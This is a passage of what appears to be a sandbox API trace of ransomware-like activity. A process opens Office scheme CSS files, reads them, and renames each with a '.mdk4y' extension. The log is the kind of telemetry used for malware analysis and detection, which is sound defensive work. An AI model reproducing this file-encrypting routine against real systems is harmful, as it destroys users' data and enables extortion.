Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css.mdk4y")) returned 1 [0195.824] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.824] AreFileApisANSI () returned 1 [0195.824] GetACP () returned 0x4e4 [0195.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME23.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME23.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.825] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827105600000) returned 1 [0195.826] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f5fa, lpOverlapped=0x0) returned 1 [0195.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827108600000) returned 1 [0195.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827108600000) returned 1 [0195.857] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css.mdk4y")) returned 1 [0195.859] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.859] AreFileApisANSI () returned 1 [0195.859] GetACP () returned 0x4e4 [0195.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME24.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME24.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.859] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827109100000) returned 1 [0195.861] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ee38, lpOverlapped=0x0) returned 1 [0195.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827111100000) returned 1 [0195.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827111100000) returned 1 [0195.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css.mdk4y")) returned 1 [0195.883] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.883] AreFileApisANSI () returned 1 [0195.883] GetACP () returned 0x4e4 [0195.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME25.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME25.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.883] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827111400000) returned 1 [0195.884] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1fcee, lpOverlapped=0x0) returned 1 [0195.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827112300000) returned 1 [0195.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827112300000) returned 1 [0195.894] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css.mdk4y")) returned 1 [0195.895] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.895] AreFileApisANSI () returned 1 [0195.895] GetACP () returned 0x4e4 [0195.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME26.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME26.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.895] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827112600000) returned 1 [0195.896] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d1b6, lpOverlapped=0x0) returned 1 [0195.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827113100000) returned 1 [0195.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827113100000) returned 1 [0195.902] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css.mdk4y")) returned 1 [0195.903] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.903] AreFileApisANSI () returned 1 [0195.903] GetACP () returned 0x4e4 [0195.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME27.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME27.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.903] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827113400000) returned 1 [0195.904] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e088, lpOverlapped=0x0) returned 1 [0195.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827114200000) returned 1 [0195.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827114200000) returned 1 [0195.914] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css.mdk4y")) returned 1 [0195.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.914] AreFileApisANSI () returned 1 [0195.914] GetACP () returned 0x4e4 [0195.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME28.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME28.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.914] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827114500000) returned 1 [0195.915] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d754, lpOverlapped=0x0) returned 1 [0195.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827115700000) returned 1 [0195.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827115700000) returned 1 [0195.928] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css.mdk4y")) returned 1 [0195.929] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.929] AreFileApisANSI () returned 1 [0195.929] GetACP () returned 0x4e4 [0195.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME29.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME29.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.929] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827116000000) returned 1 [0195.930] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1eb4a, lpOverlapped=0x0) returned 1 [0195.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827119800000) returned 1 [0195.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827119800000) returned 1 [0195.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css.mdk4y")) returned 1 [0195.970] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.970] AreFileApisANSI () returned 1 [0195.970] GetACP () returned 0x4e4 [0195.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME30.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME30.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.970] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827120100000) returned 1 [0195.971] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d522, lpOverlapped=0x0) returned 1 [0195.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827122200000) returned 1 [0195.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827122200000) returned 1 [0195.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css.mdk4y")) returned 1 [0195.994] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.994] AreFileApisANSI () returned 1 [0195.994] GetACP () returned 0x4e4 [0195.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME31.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME31.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.994] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827122500000) returned 1 [0195.995] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d652, lpOverlapped=0x0) returned 1 [0196.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827124100000) returned 1 [0196.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827124100000) returned 1 [0196.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css.mdk4y")) returned 1 [0196.013] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.013] AreFileApisANSI () returned 1 [0196.013] GetACP () returned 0x4e4 [0196.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME32.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME32.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.013] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827124400000) returned 1 [0196.014] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1eb20, lpOverlapped=0x0) returned 1 [0196.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827125300000) returned 1 [0196.024] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827125400000) returned 1 [0196.025] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css.mdk4y")) returned 1 [0196.025] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.026] AreFileApisANSI () returned 1 [0196.026] GetACP () returned 0x4e4 [0196.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME33.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME33.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.026] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.026] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827125600000) returned 1 [0196.026] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1dcb0, lpOverlapped=0x0) returned 1 [0196.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827129000000) returned 1 [0196.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827129100000) returned 1 [0196.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css.mdk4y")) returned 1 [0196.063] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.063] AreFileApisANSI () returned 1 [0196.063] GetACP () returned 0x4e4 [0196.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME34.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME34.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.063] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827132700000) returned 1 [0196.098] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d124, lpOverlapped=0x0) returned 1 [0196.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827136000000) returned 1 [0196.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827136000000) returned 1 [0196.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css.mdk4y")) returned 1 [0196.133] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.133] AreFileApisANSI () returned 1 [0196.133] GetACP () returned 0x4e4 [0196.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME35.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME35.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.133] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827136400000) returned 1 [0196.134] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x202f0, lpOverlapped=0x0) returned 1 [0196.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827139300000) returned 1 [0196.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827139300000) returned 1 [0196.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css.mdk4y")) returned 1 [0196.165] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.165] AreFileApisANSI () returned 1 [0196.165] GetACP () returned 0x4e4 [0196.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME36.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME36.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.165] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827139600000) returned 1 [0196.166] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e12c, lpOverlapped=0x0) returned 1 [0196.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827141700000) returned 1 [0196.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827141700000) returned 1 [0196.188] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css"), lpNewFileName="C:\\Program Files\\Microsoft 